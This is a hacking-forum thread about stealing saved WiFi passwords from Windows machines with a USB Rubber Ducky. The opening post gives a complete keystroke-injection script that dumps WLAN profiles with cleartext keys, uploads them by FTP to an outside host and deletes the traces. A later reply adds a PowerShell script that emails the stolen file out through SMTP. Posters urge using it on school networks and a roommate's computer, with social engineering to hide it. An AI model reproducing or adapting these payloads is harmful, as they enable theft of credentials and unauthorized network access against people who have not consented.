

Forum: [Hack Forums](#)

Thread: [Jacking WiFi Credentials With The Rubber Ducky](#)

w34k - December 15, 2014, 9:34 pm

[Video: <https://youtube.com/watch?v=l9sCzSVRkPU>]

Today I was looking for a way to strip off wireless access point credentials from a user's profile. Since the new Win 8 Tablets' primary connection for networking is WiFi, it makes a juicy target. The above video shows the attack underway.

The tool being used in this demo is the USB Rubber Ducky from Hak5. It mimics a HID device, actually a keyboard, when plugged into a computer. Thus far this attack has worked on a Win 7 Laptop, a Wyse Zero Client, as well as the Win 8 Tablet.

The payload I am running on the Ducky for this exploit uses a netsh command to dump the WLAN info from the user's profile, then it runs a quick FTP to get the dumped data off of the user's machine. It works very well and is fast. Once I have this data ex-filtrated from the user's machine, all I have to do is to connect to the Access Point from my own device using the jacked credentials.

This is the Ducky Script:

Code REM ##### win 7 bits upload wlan keys

DELAY 1000

ESCAPE

CONTROL ESCAPE

DELAY 400

STRING cmd

DELAY 400

CTRL-SHIFT ENTER

DELAY 400

ALT y

DELAY 400

STRING netsh wlan export profile folder=%USERPROFILE%\ key=clear

ENTER

DELAY 200

STRING copy /b /Y %USERPROFILE%*.xml %USERPROFILE%\wipass.xml

ENTER

STRING echo put %USERPROFILE%\wipass.xml uploads/wipass.xml|ftp -A 192.168.100.115

ENTER

DELAY 2200

STRING quit

ENTER

STRING erase /Q %USERPROFILE%*.xml

ENTER

DELAY 200

STRING exit

ENTER

Here is the main command that is run to do the extraction: netsh wlan export profile folder=%USERPROFILE%\ key=clear

Here is the data from the ex-fil, obviously redacted:

```

Code <?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
  <name>Invertix</name>
  <SSIDConfig>
    <SSID>
      <hex>6947617465</hex>
      <name>someSSID</name>
    </SSID>
    <nonBroadcast>true</nonBroadcast>
  </SSIDConfig>
  <connectionType>ESS</connectionType>
  <connectionMode>auto</connectionMode>
  <autoSwitch>true</autoSwitch>
  <MSM>
    <security>
      <authEncryption>
        <authentication>WPA2PSK</authentication>
        <encryption>AES</encryption>
        <useOneX>false</useOneX>
      </authEncryption>
      <sharedKey>
        <keyType>passPhrase</keyType>
        <protected>false</protected>
        <keyMaterial>derpderpderpy</keyMaterial>
      </sharedKey>
    </security>
  </MSM>
</WLANProfile>

```

This exploit requires physical contact with a user's computer. While it leaves no trace on the computer after the exploit has run, the user will see the command prompt pop up if the user is sitting at the computer. A little Social Engineering should solve that problem.

I am working on setting up a payload for a reverse shell. That should be way more fun!

Thanks for reading.

Source : <https://altamiracorp.com/blog/vlogs/jacking-wifi-credentials-with-the-rubber-ducky>

This is why the Rubber Ducky or a Teensy is a really useful thing to have. You can do a number of automated tasks very quickly with just the action of plugging it into the victims computer. (Having you created the payload first.) It only took 13 seconds for this task to be complete. You can clearly see it tells you the command and in the script what command is used to fetch the WiFi credentials from the directory on the target computer. You could do this by just typing the syntax into command prompt.

So, for the kids in school who want that WiFi password or other info, try something like this method. It could also be an option if your roommate has blocked you from WiFi and you need the password. (You will need access to his/her PC for less than a minute.) You may need to tweak the code a bit, though. If the WiFi password was typed on the computer, it will retrieve it. No need for a RAT/keylogger.

You can find a bunch of other payloads to experiment with, see how they work, and or learn from here.

<https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads>
(Exploit-db and other sources also have more.)

Combine payloads and or create your own with the Duck Toolkit.
<http://ducktoolkit.com>

More payloads and info here.
<http://ducktoolkit.com/ScriptSelection.jsp>

?

Sit Back And 420 - December 16, 2014, 3:02 pm

i know this might be a stupid question but how do you get it on the usb like do you take the code put it in a txt file then save as a .bat or something? And also do you need a special usb or just a normal one

w34k - December 16, 2014, 4:47 pm

(Dec 16, 2014 04:02 PM)sikKnt Wrote: [\[CITE\]](#) i know this might be a stupid question but how do you get it on the usb like do you take the code put it in a txt file then save as a .bat or something? And also do you need a special usb or just a normal one

You can create the payload in any text editor. It's nice to use the Duck Toolkit, though. After you create your payload, you will need to create the encoded inject.bin file here.

<http://ducktoolkit.com/Encoder.jsp>

Take a look at the payload generator from the previous links I posted. It will show you how the payloads are coded. After you create your payload and encode it to inject.bin, you basically just put it in root of your USB. More info here.

<http://ducktoolkit.com/Help.jsp>

You will need Rubber Ducky, Teensy, or BadUSB to do automated tasks like this. Get one, you're missing out lol. Links below for details.

Rubber Ducky: <https://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe>

Teensy: <https://pjrc.com/teensy>

BadUSB: <https://github.com/adamcaudill/Psychson>

DontRep4Rep - December 26, 2014, 6:05 am

Interesting thread i may buy a rubber ducky some time soon..

w34k - December 27, 2014, 8:03 am

(Dec 26, 2014 07:05 AM)Pinkponyprancer Wrote: [\[CITE\]](#) Interesting thread i may buy a rubber ducky some time soon..

Nice, I would suggest getting one. It can be really useful if you know how to take advantage of it.

Ishmel - January 12, 2015, 4:58 pm

(Dec 27, 2014 09:03 AM)w34k Wrote: [\[CITE\]](#) Nice, I would suggest getting one. It can be really useful if you know how to take advantage of it.

So the teensy seems more affordable, but I'm such a fucking clutz with programming anything other than HTML that I'd need some pretty step by step instructions... can I get that somewhere?

w34k - January 12, 2015, 9:23 pm

(Jan 12, 2015 05:58 PM)Ishmel Wrote: [\[CITE\]](#) So the teensy seems more affordable, but I'm such a fucking clutz with programming anything other than HTML that I'd need some pretty step by step instructions... can I get that somewhere?

Look into PowerShell and shell scripting.

You may find some info here.

<https://github.com/samratashok/Kautilya>

<https://code.google.com/p/kautilya>

w34k - February 22, 2015, 2:31 am

z3roc00l Wrote: Love this thanks very much, i'm trying to get it uploaded to my ftp but can't send it anonymously when i try an add my login info it fails to send any ideas?

Could it be emailed >?

No problem. Yeah, it could be emailed using this script. (The toolkit can also generate the script for you if you're not sure.)

```
Code
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username',
'password');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'youremail@gmail.com'
ENTER
STRING $ReportEmail.To.Add('youremail@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi Creds'
ENTER
STRING $ReportEmail.Attachments.Add('%USERPROFILE%\wipass.xml')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
```

zerocool - February 22, 2015, 3:37 am

(Feb 22, 2015 03:31 AM)w34k Wrote: [\[CITE\]](#) No problem. Yeah, it could be emailed using this script. (The toolkit can also generate the script for you if you're not sure.)

```
Code
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username',
'password');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'youremail@gmail.com'
ENTER
STRING $ReportEmail.To.Add('youremail@gmail.com')
```

```
ENTER
STRING $ReportEmail.Subject = 'WiFi Creds'
ENTER
STRING $ReportEmail.Attachments.Add('%USERPROFILE%\wipass.xml')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
```

Been trying to figure that out for few days, thanks very much for that will defo try that now.

Taiga Aisaka - February 22, 2015, 7:21 pm

if only there was a way for chromebooks then I could have my schools wifi pass :/

w34k - February 23, 2015, 6:20 am

(Feb 22, 2015 04:37 AM)z3roc00l Wrote: [\[CITE\]](#) Been trying to figure that out for few days, thanks very much for that will defo try that now.
No problem.

(Feb 22, 2015 08:21 PM)Taiga Aisaka Wrote: [\[CITE\]](#) if only there was a way for chromebooks then I could have my schools wifi pass :/It's cross-platform, you would just need to change the syntax of the payload to match the OS commands.

OnlineSpartan - February 23, 2015, 7:49 am

Hmm looks like im ordering a rubber ducky..

w34k - February 23, 2015, 7:49 pm

(Feb 23, 2015 08:49 AM)OnlineSpartan Wrote: [\[CITE\]](#) Hmm looks like im ordering a rubber ducky..
Go for it, they come in really useful.

SevenTrumpets - June 23, 2016, 6:49 pm

So... how do you decrypt the <keymaterial>? I know there are ways with cryptstringtobinary and shit but is there anyway without having to write your own code?